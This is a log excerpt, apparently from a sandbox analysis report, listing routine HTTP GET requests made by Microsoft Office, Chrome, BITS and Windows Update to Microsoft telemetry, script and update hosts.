Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=179335-179335If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x+GKtrEwdR9nSl4&MD=2zgGtu86 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
